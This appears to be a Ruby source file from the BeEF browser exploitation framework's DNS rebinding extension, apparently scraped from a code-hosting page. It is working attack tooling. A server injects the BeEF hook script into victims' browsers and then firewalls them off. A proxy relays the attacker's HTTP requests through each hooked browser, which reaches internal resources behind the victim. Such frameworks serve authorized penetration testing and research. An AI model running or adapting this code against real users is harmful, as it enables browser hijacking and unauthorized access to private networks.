227 lines
8.4 KiB
Ruby
227 lines
8.4 KiB
Ruby
module BeEF
|
|
module Extension
|
|
module DNSRebinding
|
|
#Very simple HTTP server. Its task is only hook victim
|
|
class Server
|
|
@debug_mode = false
|
|
def self.log(msg)
|
|
if @debug_mode
|
|
STDERR.puts msg.to_s
|
|
end
|
|
end
|
|
|
|
def self.run_server(address, port)
|
|
server = TCPServer.new(address, port)
|
|
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
|
loop do
|
|
s = server.accept
|
|
Thread.new(s) do |socket|
|
|
victim_ip = socket.peeraddr[2].to_s
|
|
|
|
log "-------------------------------\n"
|
|
log "[Server] Incoming request from "+victim_ip+"(Victim)\n"
|
|
|
|
response = File.read(File.expand_path('../views/index.html', __FILE__))
|
|
configuration = BeEF::Core::Configuration.instance
|
|
|
|
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
|
hook_file = configuration.get("beef.http.hook_file")
|
|
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
|
|
|
|
response.sub!('path_to_hookjs_template', hook_uri)
|
|
|
|
start_string = socket.gets
|
|
socket.print "HTTP/1.1 200 OK\r\n" +
|
|
"Content-Type: text/html\r\n" +
|
|
"Content-Length: #{response.bytesize}\r\n" +
|
|
"Connection: close\r\n"
|
|
socket.print "\r\n"
|
|
socket.print response
|
|
socket.close
|
|
|
|
#Indicate that victim load all javascript and we can block it with iptables.
|
|
dr_config = configuration.get("beef.extension.dns_rebinding")
|
|
if start_string.include?("load")
|
|
log "[Server] Block with iptables\n"
|
|
port_http = dr_config['port_http']
|
|
system("iptables -A INPUT -s #{victim_ip} -p tcp --dport #{port_http} -j REJECT --reject-with tcp-reset")
|
|
end
|
|
log "-------------------------------\n"
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
class Proxy
|
|
@queries = Queue.new
|
|
@responses = {}
|
|
@mutex_responses = nil
|
|
@mutex_queries = nil
|
|
@debug_mode = false
|
|
|
|
def self.send_http_response(socket, response, heads={})
|
|
socket.print "HTTP/1.1 200 OK\r\n"
|
|
|
|
headers = {}
|
|
headers["Content-Type"]="text/html"
|
|
headers["Content-Length"]=response.size.to_s
|
|
headers["Connection"]="close"
|
|
headers["Access-Control-Allow-Origin"]="*"
|
|
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS"
|
|
headers["Access-Control-Expose-Headers"]="Content-Type, method, path"
|
|
headers["Access-Control-Allow-Headers"]="Content-Type, method, path"
|
|
|
|
headers_a = heads.to_a
|
|
headers_a.each do |header, value|
|
|
headers[header] = value
|
|
end
|
|
|
|
headers.to_a.each do |header, value|
|
|
socket.print header+": "+value+"\r\n"
|
|
end
|
|
|
|
socket.print "\r\n"
|
|
socket.print response
|
|
end
|
|
|
|
def self.log(log_message)
|
|
if @debug_mode
|
|
STDERR.puts log_message
|
|
end
|
|
end
|
|
|
|
def self.read_http_message(socket)
|
|
message = {}
|
|
message['start_string'] = socket.gets.chomp
|
|
message['headers'] = {}
|
|
message['response'] = ""
|
|
c = socket.gets
|
|
while c != "\r\n" do
|
|
name = c[/(.+): (.+)/, 1]
|
|
value = c[/(.+): (.+)/, 2]
|
|
message['headers'][name] = value.chomp
|
|
c = socket.gets
|
|
end
|
|
length = message['headers']['Content-Length']
|
|
if length
|
|
#Ruby read() doesn't return while not read all <length> byte
|
|
resp = socket.read(length.to_i)
|
|
message['response'] = resp
|
|
end
|
|
return message
|
|
end
|
|
|
|
def self.handle_victim(socket, http_message)
|
|
log "[Victim]request from victim\n"
|
|
log http_message['start_string'].to_s+"\n"
|
|
|
|
if http_message['start_string'].include?("POST")
|
|
#Get result from POST query
|
|
log "[Victim]Get the result of last query\n"
|
|
|
|
#Read query on which asked victim
|
|
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2]
|
|
log "[Victim]asked path: "+query+"\n"
|
|
|
|
length = http_message['headers']['Content-Length'].to_i
|
|
content_type = http_message['headers']['Content-Type']
|
|
log "[Victim]Content-type: "+content_type.to_s+"\n"
|
|
log "[Vicitm]Length: "+length.to_s+"\n"
|
|
|
|
response = http_message['response']
|
|
log "[Victim]Get content!\n"
|
|
|
|
send_http_response(socket, "ok")
|
|
socket.close
|
|
|
|
log "[Victim]Close connection POST\n"
|
|
log "--------------------------------\n"
|
|
|
|
@mutex_responses.lock
|
|
@responses[query] = [content_type, response]
|
|
@mutex_responses.unlock
|
|
elsif http_message['start_string'].include?("OPTIONS")
|
|
send_http_response(socket, "")
|
|
socket.close
|
|
log "[Victim]Respond on OPTIONS reques\n"
|
|
log "--------------------------------\n"
|
|
else
|
|
#Look for queues from beef owner
|
|
log "[Victim]Waiting for next query..\n"
|
|
while @queries.size == 0
|
|
end
|
|
|
|
#Get the last query
|
|
@mutex_queries.lock
|
|
log "[Victim]Get the last query\n"
|
|
last_query = @queries.pop
|
|
log "[Victim]Last query:"+last_query.to_s+"\n"
|
|
@mutex_queries.unlock
|
|
|
|
response = last_query[2]
|
|
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
|
|
log "[Victim]Send next query to victim's browser\n"
|
|
log "---------------------------------------------\n"
|
|
socket.close
|
|
end
|
|
end
|
|
|
|
#Handle request from BeEF owner
|
|
def self.handle_owner(socket, http_message)
|
|
log "[Owner]Request from owner\n"
|
|
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
|
|
|
|
if http_message['start_string'].include?("GET")
|
|
if path != nil
|
|
log "[Owner]Need path: "+path+"\n"
|
|
@queries.push(['GET', path, ''])
|
|
end
|
|
elsif http_message['start_string'].include?("POST")
|
|
log "[Owner]Get POST request\n"
|
|
if path != nil
|
|
@queries.push(['POST', path, http_message['response']])
|
|
end
|
|
end
|
|
|
|
#Waiting for response, this check should not conflict with thread 2
|
|
while @responses[path] == nil
|
|
end
|
|
|
|
@mutex_responses.lock
|
|
log "[Owner]Get the response\n"
|
|
response_a = @responses[path]
|
|
@mutex_responses.unlock
|
|
|
|
response = response_a[1];
|
|
content_type = response_a[0];
|
|
|
|
send_http_response(socket, response, {'Content-Type'=>content_type})
|
|
|
|
log "[Owner]Send response to owner\n"
|
|
log "-------------------------------\n"
|
|
socket.close
|
|
end
|
|
|
|
def self.run_server(address, port)
|
|
@server = TCPServer.new(address, port)
|
|
@mutex_responses = Mutex.new
|
|
@mutex_queries = Mutex.new
|
|
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
|
loop do
|
|
s = @server.accept
|
|
Thread.new(s) do |socket|
|
|
http_message = read_http_message(socket)
|
|
if http_message['start_string'].include?("from_victim")
|
|
handle_victim(socket, http_message)
|
|
else
|
|
handle_owner(socket, http_message)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|
|
end
|
|
end
|